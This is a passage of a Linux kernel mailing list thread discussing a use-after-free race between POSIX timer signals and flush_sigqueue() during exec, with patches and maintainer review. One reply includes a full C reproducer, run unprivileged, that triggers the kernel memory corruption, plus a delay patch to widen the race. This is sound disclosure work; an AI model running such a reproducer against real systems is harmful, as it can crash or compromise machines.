* [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()
@ 2026-08-22 5:37 Hyunwoo Kim
2026-08-22 10:27 ` Bradley Morgan
` (2 more replies)
0 siblings, 3 replies; 16+ messages in thread
From: Hyunwoo Kim @ 2026-08-22 5:37 UTC (permalink / raw)
To: oleg, frederic, tglx, brauner, peterz, anna-maria, ebiederm
Cc: linux-kernel, imv4bel
commit fb3bbcfe344e ("exit: change the release_task() paths to call
flush_sigqueue() lockless") moved the ->pending flush from __exit_signal()
to release_task(), where it runs without ->siglock. The justification was:
after the exiting task passes __exit_signal() lock_task_sighand() can't
succeed and pid_task(tmr->it_pid) will return NULL
That second half does not hold for the old group leader in a non-leader
exec(). de_thread() calls exchange_tids() before release_task(leader), so
the struct pid held by a SIGEV_THREAD_ID timer created against the leader's
tid now points to the thread which called execve(). pid_task() returns that
thread and lock_task_sighand() on it succeeds. It uses the same sighand the
leader used, so while the flush was still done in __exit_signal(), that one
->siglock serialized the two.
If the timer signal is blocked, its sigqueue stays queued on the leader's
->pending. The next expiry of that timer can then run while release_task()
flushes the queue.
posixtimer_send_sigqueue() checks whether the sigqueue is already queued
with a plain list_empty(), which only reads ->next. list_del_init() is not
atomic and INIT_LIST_HEAD() stores ->next before ->prev, so the check can
pass in between. list_add_tail() queues the entry on the ->pending of the
live thread, and the ->prev store from the flush then overwrites the ->prev
link that list_add_tail() has just set.
__flush_itimer_signals() does not undo that either. With ->prev pointing at
the entry itself, its list_del_init() only stores the same values again, so
the entry is not removed from the list. It is still there after the last
reference is dropped and the timer is freed by RCU, and the list_add_tail()
of a later tgkill() follows that ->prev into the freed timer:
BUG: KASAN: slab-use-after-free in __send_signal_locked+0xb27/0xba0
Write of size 8 at addr ffff888007ed80c8 by task poc/79
...
Call Trace:
__send_signal_locked+0xb27/0xba0
do_send_sig_info+0xa7/0x160
do_send_specific+0x76/0xa0
__x64_sys_tgkill+0x193/0x270
...
Allocated by task 80:
do_timer_create+0x1a4/0x1030
__x64_sys_timer_create+0x145/0x190
...
Freed by task 12:
kmem_cache_free_bulk+0x1f8/0x4a0
kvfree_rcu_bulk+0x14f/0x1c0
kfree_rcu_work+0x128/0x1a0
...
Last potentially related work creation:
kvfree_call_rcu+0x39/0x390
__flush_itimer_signals+0x211/0x320
flush_itimer_signals+0x47/0x90
begin_new_exec+0xa6b/0x28c0
...
The buggy address belongs to the object at ffff888007ed8040
which belongs to the cache posix_timers_cache of size 384
Use list_del_init_careful(), which stores ->next last. A list_empty() which
sees the entry unqueued is then guaranteed that the flush will not store
into the entry any more.
Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
Cc: stable@vger.kernel.org
Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
kernel/signal.c | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/kernel/signal.c b/kernel/signal.c
index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
sigemptyset(&queue->signal);
while (!list_empty(&queue->list)) {
q = list_entry(queue->list.next, struct sigqueue , list);
- list_del_init(&q->list);
+ /*
+ * Pairs with the list_empty() in posixtimer_send_sigqueue().
+ * release_task() gets here without ->siglock.
+ */
+ list_del_init_careful(&q->list);
__sigqueue_free(q);
}
}
--
2.43.0
^ permalink raw reply related [flat|nested] 16+ messages in thread* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-22 5:37 [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() Hyunwoo Kim @ 2026-08-22 10:27 ` Bradley Morgan 2026-08-23 12:47 ` Oleg Nesterov 2026-08-24 8:04 ` Thomas Gleixner 2 siblings, 0 replies; 16+ messages in thread From: Bradley Morgan @ 2026-08-22 10:27 UTC (permalink / raw) To: imv4bel Cc: anna-maria, brauner, ebiederm, frederic, linux-kernel, oleg, peterz, tglx Hi Hyunwoo, > That second half does not hold for the old group leader in a non-leader > exec(). de_thread() calls exchange_tids() before release_task(leader), so > the struct pid held by a SIGEV_THREAD_ID timer created against the > leader's > tid now points to the thread which called execve(). pid_task() returns > that > thread and lock_task_sighand() on it succeeds. This is the part to be sure of, and it checks out. In de_thread(), exchange_tids() runs before release_task(leader), so the timer's struct pid resolves to the exec'ing thread instead of going stale. The "pid_task() returns NULL" assumption from fb3bbcfe344e really does break here. Nasty one. > posixtimer_send_sigqueue() checks whether the sigqueue is already queued > with a plain list_empty(), which only reads ->next. list_del_init() is > not > atomic and INIT_LIST_HEAD() stores ->next before ->prev, so the check can > pass in between. Right. INIT_LIST_HEAD() does the ->next store first, so there is a window where the reader sees the entry as unqueued while the flush still has its ->prev store left, and that store then lands on top of the requeue. > Use list_del_init_careful(), which stores ->next last. A list_empty() > which > sees the entry unqueued is then guaranteed that the flush will not store > into the entry any more. This reads wrong at first glance, since list_del_init_careful() is documented to pair with list_empty_careful(), and you leave the reader as plain list_empty(). But it is correct, and your changelog is the reason: ->next becomes the last store, and list_empty() gates on ->next, so seeing it pointing at itself means the flush is fully done with the entry and nothing can land after. That is exactly the guarantee needed here, no acquire required on the read. Only nit, and optional: that reasoning is the whole patch but it lives in the changelog. The comment in the code just says it pairs with the list_empty(). If someone later decides the careful/plain mix looks like a mistake and reverts the del back to list_del_init(), the bug comes back. One clause pinning "must store ->next last" to the code would stop that. Feel free to bikeshed. > Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless") > Cc: stable@vger.kernel.org Both right, it landed in 6.14. Real bug, well decoded, minimal fix. Reviewed-by: Bradley Morgan <include@grrlz.net> Thanks! ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-22 5:37 [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() Hyunwoo Kim 2026-08-22 10:27 ` Bradley Morgan @ 2026-08-23 12:47 ` Oleg Nesterov 2026-08-24 2:53 ` Hyunwoo Kim 2026-08-24 8:04 ` Thomas Gleixner 2 siblings, 1 reply; 16+ messages in thread From: Oleg Nesterov @ 2026-08-23 12:47 UTC (permalink / raw) To: Hyunwoo Kim Cc: frederic, tglx, brauner, peterz, anna-maria, ebiederm, linux-kernel On 08/22, Hyunwoo Kim wrote: > > commit fb3bbcfe344e ("exit: change the release_task() paths to call > flush_sigqueue() lockless") moved the ->pending flush from __exit_signal() > to release_task(), where it runs without ->siglock. The justification was: > > after the exiting task passes __exit_signal() lock_task_sighand() can't > succeed and pid_task(tmr->it_pid) will return NULL > > That second half does not hold for the old group leader in a non-leader > exec(). de_thread() calls exchange_tids() before release_task(leader), so Indeed... Thanks a lot! I need some time to (try to ;) fully understand the problem and your fix... I'll read your patch again tomorrow with a clear head. Now... I hope that the next paragraph This means that after __exit_signal(tsk) nobody can play with tsk->pending or (if group_dead) with tsk->signal->shared_pending, from the changelog is still true, so the only problem is that it is not safe to play with q->list, right? > --- a/kernel/signal.c > +++ b/kernel/signal.c > @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue) > sigemptyset(&queue->signal); > while (!list_empty(&queue->list)) { > q = list_entry(queue->list.next, struct sigqueue , list); > - list_del_init(&q->list); > + /* > + * Pairs with the list_empty() in posixtimer_send_sigqueue(). > + * release_task() gets here without ->siglock. > + */ > + list_del_init_careful(&q->list); > __sigqueue_free(q); Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do list_for_each_entry(q, &pending->list, list) __sigqueue_free(q); ? Oleg. ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-23 12:47 ` Oleg Nesterov @ 2026-08-24 2:53 ` Hyunwoo Kim 2026-08-24 8:28 ` Oleg Nesterov 0 siblings, 1 reply; 16+ messages in thread From: Hyunwoo Kim @ 2026-08-24 2:53 UTC (permalink / raw) To: Oleg Nesterov Cc: frederic, tglx, brauner, peterz, anna-maria, ebiederm, linux-kernel, imv4bel On Sun, Aug 23, 2026 at 02:47:10PM +0200, Oleg Nesterov wrote: > On 08/22, Hyunwoo Kim wrote: > > > > commit fb3bbcfe344e ("exit: change the release_task() paths to call > > flush_sigqueue() lockless") moved the ->pending flush from __exit_signal() > > to release_task(), where it runs without ->siglock. The justification was: > > > > after the exiting task passes __exit_signal() lock_task_sighand() can't > > succeed and pid_task(tmr->it_pid) will return NULL > > > > That second half does not hold for the old group leader in a non-leader > > exec(). de_thread() calls exchange_tids() before release_task(leader), so > > Indeed... Thanks a lot! > > I need some time to (try to ;) fully understand the problem and your fix... > I'll read your patch again tomorrow with a clear head. > > Now... I hope that the next paragraph > > This means that after __exit_signal(tsk) nobody can play with tsk->pending > or (if group_dead) with tsk->signal->shared_pending, > > from the changelog is still true, so the only problem is that it is not > safe to play with q->list, right? Right. lock_task_sighand() still fails, so ->pending is safe. The timer does not go through the task, it holds q = &tmr->sigq directly. > > > --- a/kernel/signal.c > > +++ b/kernel/signal.c > > @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue) > > sigemptyset(&queue->signal); > > while (!list_empty(&queue->list)) { > > q = list_entry(queue->list.next, struct sigqueue , list); > > - list_del_init(&q->list); > > + /* > > + * Pairs with the list_empty() in posixtimer_send_sigqueue(). > > + * release_task() gets here without ->siglock. > > + */ > > + list_del_init_careful(&q->list); > > __sigqueue_free(q); > > Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do > > list_for_each_entry(q, &pending->list, list) > __sigqueue_free(q); > > ? __sigqueue_free() does kmem_cache_free() for anything which is not PREALLOC, so the iterator reads q->list.next after it is freed. And flush_signals() and selinux_bprm_committed_creds() call it on live tasks, so the queue has to end up empty. So, list_for_each_entry_safe(q, n, &queue->list, list) __sigqueue_free(q); INIT_LIST_HEAD(&queue->list); If you are fine with it, could you submit this patch yourself? I am also attaching the reproducer and the mdelay diff. I hope they help. Best regards, Hyunwoo Kim --- diff: diff --git a/include/linux/list.h b/include/linux/list.h index 19212bf..f6e2beb 100644 --- a/include/linux/list.h +++ b/include/linux/list.h @@ -48,9 +48,12 @@ * Initializes the list_head to point to itself. If it is a list header, * the result is an empty list. */ +extern void __const_udelay(unsigned long xloops); + static inline void INIT_LIST_HEAD(struct list_head *list) { WRITE_ONCE(list->next, list); + __const_udelay(1 * 1000UL * 4295UL); /* mdelay(1) */ WRITE_ONCE(list->prev, list); } PoC: #define _GNU_SOURCE #include <errno.h> #include <pthread.h> #include <sched.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/resource.h> #include <sys/syscall.h> #include <sys/timerfd.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #ifndef SIGEV_THREAD_ID #define SIGEV_THREAD_ID 4 #endif static pid_t old_leader_tid; static long attempt_lead_ns; static int timer_count = 20000; static int timer_signal; static int callback_offset = 1400; static int callback_stride = 16; static int use_preempt_train = 1; static int64_t mono_ns(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) { perror("clock_gettime"); _exit(2); } return (int64_t)ts.tv_sec * 1000000000LL + ts.tv_nsec; } static void print_security_context(void) { char line[512]; FILE *file; file = fopen("/proc/self/status", "re"); if (!file) { perror("fopen /proc/self/status"); } else { while (fgets(line, sizeof(line), file)) { if (!strncmp(line, "Uid:", 4) || !strncmp(line, "Gid:", 4) || !strncmp(line, "CapEff:", 7) || !strncmp(line, "NoNewPrivs:", 11)) fprintf(stderr, "status %s", line); } fclose(file); } file = fopen("/kernel.config", "re"); if (!file) { perror("fopen /kernel.config"); return; } while (fgets(line, sizeof(line), file)) { if (!strcmp(line, "# CONFIG_USER_NS is not set\n")) { fprintf(stderr, "kernel_config CONFIG_USER_NS=n\n"); break; } if (!strncmp(line, "CONFIG_USER_NS=", 15)) { fprintf(stderr, "kernel_config %s", line); break; } } fclose(file); } static struct timespec ns_to_ts(int64_t ns) { struct timespec ts = { .tv_sec = ns / 1000000000LL, .tv_nsec = ns % 1000000000LL, }; return ts; } static int ktimer_create_for_tid(pid_t tid) { struct sigevent sev; int id = -1; memset(&sev, 0, sizeof(sev)); sev.sigev_notify = SIGEV_SIGNAL | SIGEV_THREAD_ID; sev.sigev_signo = timer_signal; sev._sigev_un._tid = tid; if (syscall(SYS_timer_create, CLOCK_MONOTONIC, &sev, &id)) return -1; return id; } static int ktimer_arm_abs(int id, int64_t expiry) { struct itimerspec its; memset(&its, 0, sizeof(its)); its.it_value = ns_to_ts(expiry); return syscall(SYS_timer_settime, id, TIMER_ABSTIME, &its, NULL); } static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set)) perror("sched_setaffinity"); } static void monitor_old_worker_tid(pid_t worker_tid, int64_t target) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(2, &set); (void)sched_setaffinity(0, sizeof(set), &set); while (!syscall(SYS_tgkill, old_leader_tid, worker_tid, 0)) asm volatile("pause" ::: "memory"); fprintf(stderr, "monitor old_worker_unhash_minus_expiry_ns=%lld errno=%d\n", (long long)(mono_ns() - target), errno); _exit(0); } static void run_preempt_train(int64_t target) { enum { TIMERFDS = 900, GROUPS = 14 }; int fds[TIMERFDS]; pin_cpu(0); for (int i = 0; i < TIMERFDS; i++) { struct itimerspec its; int group = i % GROUPS; fds[i] = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC); if (fds[i] < 0) _exit(3); memset(&its, 0, sizeof(its)); its.it_value = ns_to_ts(target - 50000 + (int64_t)group * 50000); if (timerfd_settime(fds[i], TFD_TIMER_ABSTIME, &its, NULL)) _exit(3); } { struct timespec done = ns_to_ts(target + 5000000); while (clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &done, NULL) == EINTR) ; } for (int i = 0; i < TIMERFDS; i++) close(fds[i]); _exit(0); } static void *exec_worker(void *unused) { char lead_arg[32], count_arg[32], target_arg[32]; char *argv[] = { (char *)"poc", (char *)"--post", lead_arg, count_arg, target_arg, NULL }; int64_t target, start; int *ids; int *near_order; unsigned char *near_used; int made = 0; (void)unused; pin_cpu(1); usleep(20000); ids = calloc((size_t)timer_count, sizeof(*ids)); near_order = calloc((size_t)timer_count, sizeof(*near_order)); near_used = calloc((size_t)timer_count, sizeof(*near_used)); if (!ids || !near_order || !near_used) { perror("calloc"); _exit(2); } for (int i = 0; i < timer_count; i++) { ids[i] = ktimer_create_for_tid(old_leader_tid); if (ids[i] < 0 || ktimer_arm_abs(ids[i], 1)) break; made++; } if (made < 128) { fprintf(stderr, "only %d timers prepared: %s\n", made, strerror(errno)); _exit(2); } start = mono_ns(); target = start + 300000000LL; for (int i = 0; i < made; i++) { if (ktimer_arm_abs(ids[i], target + 2000000000LL)) { fprintf(stderr, "future arm %d failed: %s\n", i, strerror(errno)); _exit(2); } } int near_count = 0; for (int k = 0; ; k++) { int phase = 0; int idx; if (use_preempt_train) { int slot = k % 32; phase = slot < 16 ? -192 + slot * 24 : 192 - (slot - 16) * 24; } idx = callback_offset + callback_stride * k + phase; if (callback_offset + callback_stride * k - 192 >= made) break; if (idx < 0 || idx >= made || near_used[idx]) continue; near_used[idx] = 1; near_order[near_count++] = idx; } for (int k = near_count - 1; k >= 0; k--) { int idx = near_order[k]; if (ktimer_arm_abs(ids[idx], target)) { fprintf(stderr, "near arm %d failed: %s\n", idx, strerror(errno)); _exit(2); } } pin_cpu(0); if (mono_ns() >= target - attempt_lead_ns) { fprintf(stderr, "setup too slow for lead %ld\n", attempt_lead_ns); _exit(3); } { pid_t worker_tid = (pid_t)syscall(SYS_gettid); pid_t monitor = fork(); if (!monitor) monitor_old_worker_tid(worker_tid, target); if (monitor < 0) perror("fork monitor"); if (use_preempt_train) { pid_t competitor = fork(); if (!competitor) run_preempt_train(target); if (competitor < 0) perror("fork preempt train"); if (setpriority(PRIO_PROCESS, 0, 19)) perror("setpriority"); } } while (mono_ns() < target - attempt_lead_ns) asm volatile("pause" ::: "memory"); snprintf(lead_arg, sizeof(lead_arg), "%ld", attempt_lead_ns); snprintf(count_arg, sizeof(count_arg), "%d", made); snprintf(target_arg, sizeof(target_arg), "%lld", (long long)target); execv("/poc", argv); perror("execv /poc"); _exit(2); } static void run_one_attempt(long lead_ns) { pthread_t th; attempt_lead_ns = lead_ns; old_leader_tid = (pid_t)syscall(SYS_gettid); if (pthread_create(&th, NULL, exec_worker, NULL)) { perror("pthread_create"); _exit(2); } syscall(SYS_exit, 0); __builtin_unreachable(); } static int post_exec(int argc, char **argv) { long lead = argc > 2 ? strtol(argv[2], NULL, 10) : -1; int made = argc > 3 ? atoi(argv[3]) : -1; int64_t target = argc > 4 ? strtoll(argv[4], NULL, 10) : 0; int64_t delta = mono_ns() - target; fprintf(stderr, "post lead_ns=%ld timers=%d now_minus_expiry_ns=%lld\n", lead, made, (long long)delta); usleep(500000); #ifdef NO_TGKILL_EXIT_REAP fprintf(stderr, "post no_tgkill_exit_reap=1\n"); #else for (int i = 0; i < 256; i++) { if (syscall(SYS_tgkill, getpid(), syscall(SYS_gettid), timer_signal) && errno != EAGAIN) { perror("tgkill"); break; } } #endif return 0; } int main(int argc, char **argv) { static const long leads_ns[] = { 220000, 240000, 260000, 280000, 300000, 320000, 340000, 360000, 380000, 400000, 425000, 450000, 475000, 500000, 550000, 600000, 700000, 800000, 220000, 240000, 260000, 280000, 300000, 320000, 340000, 360000, 380000, 400000, 425000, 450000, 475000, 500000, 550000, 600000, 700000, 800000, }; struct rlimit lim = { .rlim_cur = 200000, .rlim_max = 200000 }; sigset_t blocked; long forced_lead = -1; int forced_repeats = 0; timer_signal = SIGRTMIN + 6; if (argc > 1 && !strcmp(argv[1], "--post")) return post_exec(argc, argv); if (argc > 1) { forced_lead = strtol(argv[1], NULL, 10); forced_repeats = argc > 2 ? atoi(argv[2]) : 1; if (forced_lead <= 0 || forced_repeats <= 0) return 2; if (argc > 3) { timer_count = atoi(argv[3]); if (timer_count < 128) return 2; } if (argc > 4) callback_offset = atoi(argv[4]); if (argc > 5) callback_stride = atoi(argv[5]); if (argc > 6) use_preempt_train = atoi(argv[6]) != 0; if (callback_offset < 0 || callback_stride <= 0) return 2; } pin_cpu(0); if (setrlimit(RLIMIT_SIGPENDING, &lim)) perror("setrlimit RLIMIT_SIGPENDING"); sigemptyset(&blocked); sigaddset(&blocked, timer_signal); if (pthread_sigmask(SIG_BLOCK, &blocked, NULL)) { perror("pthread_sigmask"); return 2; } if (!getuid()) { if (setgid(65534) || setuid(65534)) { perror("drop privileges"); return 2; } } print_security_context(); fprintf(stderr, "controller uid=%d timers=%d\n", getuid(), timer_count); for (size_t i = 0; i < (forced_lead > 0 ? (size_t)forced_repeats : sizeof(leads_ns) / sizeof(leads_ns[0])); i++) { pid_t child = fork(); long lead = forced_lead > 0 ? forced_lead : leads_ns[i]; int status; if (forced_lead <= 0) { callback_offset = 500 + (int)(i % 12) * 300; callback_stride = 14 + (int)(i / 12) % 3; } if (child < 0) { perror("fork"); return 2; } if (!child) run_one_attempt(lead); if (waitpid(child, &status, 0) != child) { perror("waitpid"); return 2; } fprintf(stderr, "trial lead_ns=%ld status=%#x\n", lead, status); } return 0; } ^ permalink raw reply related [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 2:53 ` Hyunwoo Kim @ 2026-08-24 8:28 ` Oleg Nesterov 0 siblings, 0 replies; 16+ messages in thread From: Oleg Nesterov @ 2026-08-24 8:28 UTC (permalink / raw) To: Hyunwoo Kim Cc: frederic, tglx, brauner, peterz, anna-maria, ebiederm, linux-kernel On 08/24, Hyunwoo Kim wrote: > > On Sun, Aug 23, 2026 at 02:47:10PM +0200, Oleg Nesterov wrote: > > > > Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do > > > > list_for_each_entry(q, &pending->list, list) > > __sigqueue_free(q); > > > > ? > > __sigqueue_free() does kmem_cache_free() for anything which is not > PREALLOC, so the iterator reads q->list.next after it is freed. Yes, sorry, I meant _safe() of course... > And flush_signals() and selinux_bprm_committed_creds() call it on live > tasks, so the queue has to end up empty. Right, thanks, I forgot that flush_sigqueue() has other callers. > So, > > list_for_each_entry_safe(q, n, &queue->list, list) > __sigqueue_free(q); > INIT_LIST_HEAD(&queue->list); > > If you are fine with it, could you submit this patch yourself? I am also > attaching the reproducer and the mdelay diff. I hope they help. Let me think about it a bit more... And thanks a lot again. Oleg. ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-22 5:37 [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() Hyunwoo Kim 2026-08-22 10:27 ` Bradley Morgan 2026-08-23 12:47 ` Oleg Nesterov @ 2026-08-24 8:04 ` Thomas Gleixner 2026-08-24 9:45 ` Thomas Gleixner 2 siblings, 1 reply; 16+ messages in thread From: Thomas Gleixner @ 2026-08-24 8:04 UTC (permalink / raw) To: Hyunwoo Kim, oleg, frederic, brauner, peterz, anna-maria, ebiederm Cc: linux-kernel, imv4bel On Sat, Aug 22 2026 at 14:37, Hyunwoo Kim wrote: > diff --git a/kernel/signal.c b/kernel/signal.c > index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644 > --- a/kernel/signal.c > +++ b/kernel/signal.c > @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue) > sigemptyset(&queue->signal); > while (!list_empty(&queue->list)) { > q = list_entry(queue->list.next, struct sigqueue , list); > - list_del_init(&q->list); > + /* > + * Pairs with the list_empty() in posixtimer_send_sigqueue(). No. That list_empty() would need to be changed to list_empty_careful() to be correct on weakly ordered architectures. Aside of that I'm not convinced that this is the right way to handle this as it cures the symptom and not the underlying problem. Let me stare at this some more. Thanks, tglx ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 8:04 ` Thomas Gleixner @ 2026-08-24 9:45 ` Thomas Gleixner 2026-08-24 11:02 ` Oleg Nesterov 2026-08-24 16:31 ` Frederic Weisbecker 0 siblings, 2 replies; 16+ messages in thread From: Thomas Gleixner @ 2026-08-24 9:45 UTC (permalink / raw) To: Hyunwoo Kim, oleg, frederic, brauner, peterz, anna-maria, ebiederm Cc: linux-kernel, imv4bel On Mon, Aug 24 2026 at 10:04, Thomas Gleixner wrote: > On Sat, Aug 22 2026 at 14:37, Hyunwoo Kim wrote: >> diff --git a/kernel/signal.c b/kernel/signal.c >> index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644 >> --- a/kernel/signal.c >> +++ b/kernel/signal.c >> @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue) >> sigemptyset(&queue->signal); >> while (!list_empty(&queue->list)) { >> q = list_entry(queue->list.next, struct sigqueue , list); >> - list_del_init(&q->list); >> + /* >> + * Pairs with the list_empty() in posixtimer_send_sigqueue(). > > No. That list_empty() would need to be changed to list_empty_careful() > to be correct on weakly ordered architectures. > > Aside of that I'm not convinced that this is the right way to handle > this as it cures the symptom and not the underlying problem. Let me > stare at this some more. Something like the untested below. Thanks, tglx --- --- a/fs/exec.c +++ b/fs/exec.c @@ -983,6 +983,18 @@ static int de_thread(struct task_struct } /* + * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for + * the former leader are removed under sighand::siglock _before_ + * taking over the leader's TID. Otherwise the lockless cleanup + * in release_task() can race against a concurrent signal + * delivery to the new leader. The former leader has PF_EXITING + * set which prevents queueing of SIGEV_THREAD_ID signals up to + * the point where it's sighand gets cleared. + */ + scoped_guard(spinlock_irq, lock) + flush_sigqueue(&leader->pending); + + /* * The only record we have of the real-time age of a * process, regardless of execs it's done, is start_time. * All the past CPU time is accumulated in signal_struct --- a/kernel/signal.c +++ b/kernel/signal.c @@ -1998,6 +1998,13 @@ void posixtimer_send_sigqueue(struct k_i return; /* + * If the signal is targeted at a specific thread, validate with sighand + * lock held that the thread is not exiting. + */ + if (unlikely(tmr->it_pid_type == PIDTYPE_PID && t->flags & PF_EXITING)) + goto unlock; + + /* * Update @tmr::sigqueue_seq for posix timer signals with sighand * locked to prevent a race against dequeue_signal(). */ @@ -2088,6 +2095,7 @@ void posixtimer_send_sigqueue(struct k_i result = TRACE_SIGNAL_DELIVERED; out: trace_signal_generate(sig, &q->info, t, tmr->it_pid_type != PIDTYPE_PID, result); +unlock: unlock_task_sighand(t, &flags); } ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 9:45 ` Thomas Gleixner @ 2026-08-24 11:02 ` Oleg Nesterov 2026-08-24 11:54 ` Oleg Nesterov 2026-08-24 12:11 ` Thomas Gleixner 2026-08-24 16:31 ` Frederic Weisbecker 1 sibling, 2 replies; 16+ messages in thread From: Oleg Nesterov @ 2026-08-24 11:02 UTC (permalink / raw) To: Thomas Gleixner Cc: Hyunwoo Kim, frederic, brauner, peterz, anna-maria, ebiederm, linux-kernel On 08/24, Thomas Gleixner wrote: > > --- a/fs/exec.c > +++ b/fs/exec.c > @@ -983,6 +983,18 @@ static int de_thread(struct task_struct > } > > /* > + * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for > + * the former leader are removed under sighand::siglock _before_ > + * taking over the leader's TID. Otherwise the lockless cleanup > + * in release_task() can race against a concurrent signal > + * delivery to the new leader. The former leader has PF_EXITING > + * set which prevents queueing of SIGEV_THREAD_ID signals up to > + * the point where it's sighand gets cleared. > + */ > + scoped_guard(spinlock_irq, lock) > + flush_sigqueue(&leader->pending); Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any changes, no? Oleg. ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 11:02 ` Oleg Nesterov @ 2026-08-24 11:54 ` Oleg Nesterov 2026-08-24 13:59 ` Frederic Weisbecker 2026-08-24 12:11 ` Thomas Gleixner 1 sibling, 1 reply; 16+ messages in thread From: Oleg Nesterov @ 2026-08-24 11:54 UTC (permalink / raw) To: Thomas Gleixner Cc: Hyunwoo Kim, frederic, brauner, peterz, anna-maria, ebiederm, linux-kernel On 08/24, Oleg Nesterov wrote: > > On 08/24, Thomas Gleixner wrote: > > > > --- a/fs/exec.c > > +++ b/fs/exec.c > > @@ -983,6 +983,18 @@ static int de_thread(struct task_struct > > } > > > > /* > > + * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for > > + * the former leader are removed under sighand::siglock _before_ > > + * taking over the leader's TID. Otherwise the lockless cleanup > > + * in release_task() can race against a concurrent signal > > + * delivery to the new leader. The former leader has PF_EXITING > > + * set which prevents queueing of SIGEV_THREAD_ID signals up to > > + * the point where it's sighand gets cleared. > > + */ > > + scoped_guard(spinlock_irq, lock) > > + flush_sigqueue(&leader->pending); scoped_guard(spinlock_irq) is not right. This needs scoped_guard(spinlock), the code runs with irqs disabled. > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any > changes, no? IOW. Unless I am totally confused, we only need to flush the SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader before it changed its pid. So we can do this diff --git a/fs/exec.c b/fs/exec.c index a14f28b15607..550367e7fe6c 100644 --- a/fs/exec.c +++ b/fs/exec.c @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk) write_unlock_irq(&tasklist_lock); cgroup_threadgroup_change_end(tsk); + scoped_guard(spinlock_irq, lock) + flush_sigqueue(&leader->pending); + release_task(leader); } outside of tasklist_lock. We do not care if another sigqueue (SIGQUEUE_PREALLOC or not) comes to leader->pending after that. No? Either way, this means that flush_sigqueue() is called again with irqs disabled... Not a real problem, but can the change below work? Yes, more fragile and probably "fixes symptom"... Oleg. diff --git a/kernel/signal.c b/kernel/signal.c index bbc0fd4cc4d7..4d12ebba33f9 100644 --- a/kernel/signal.c +++ b/kernel/signal.c @@ -477,14 +477,14 @@ static void __sigqueue_free(struct sigqueue *q) void flush_sigqueue(struct sigpending *queue) { - struct sigqueue *q; + struct sigqueue *q, *n; sigemptyset(&queue->signal); - while (!list_empty(&queue->list)) { - q = list_entry(queue->list.next, struct sigqueue , list); - list_del_init(&q->list); + + list_for_each_entry_safe(q, n, &queue->list, list) __sigqueue_free(q); - } + + INIT_LIST_HEAD(&queue->list); } /* ^ permalink raw reply related [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 11:54 ` Oleg Nesterov @ 2026-08-24 13:59 ` Frederic Weisbecker 2026-08-24 14:29 ` Oleg Nesterov 2026-08-25 16:58 ` Thomas Gleixner 0 siblings, 2 replies; 16+ messages in thread From: Frederic Weisbecker @ 2026-08-24 13:59 UTC (permalink / raw) To: Oleg Nesterov Cc: Thomas Gleixner, Hyunwoo Kim, brauner, peterz, anna-maria, ebiederm, linux-kernel Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit : > On 08/24, Oleg Nesterov wrote: > > > > On 08/24, Thomas Gleixner wrote: > > > > > > --- a/fs/exec.c > > > +++ b/fs/exec.c > > > @@ -983,6 +983,18 @@ static int de_thread(struct task_struct > > > } > > > > > > /* > > > + * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for > > > + * the former leader are removed under sighand::siglock _before_ > > > + * taking over the leader's TID. Otherwise the lockless cleanup > > > + * in release_task() can race against a concurrent signal > > > + * delivery to the new leader. The former leader has PF_EXITING > > > + * set which prevents queueing of 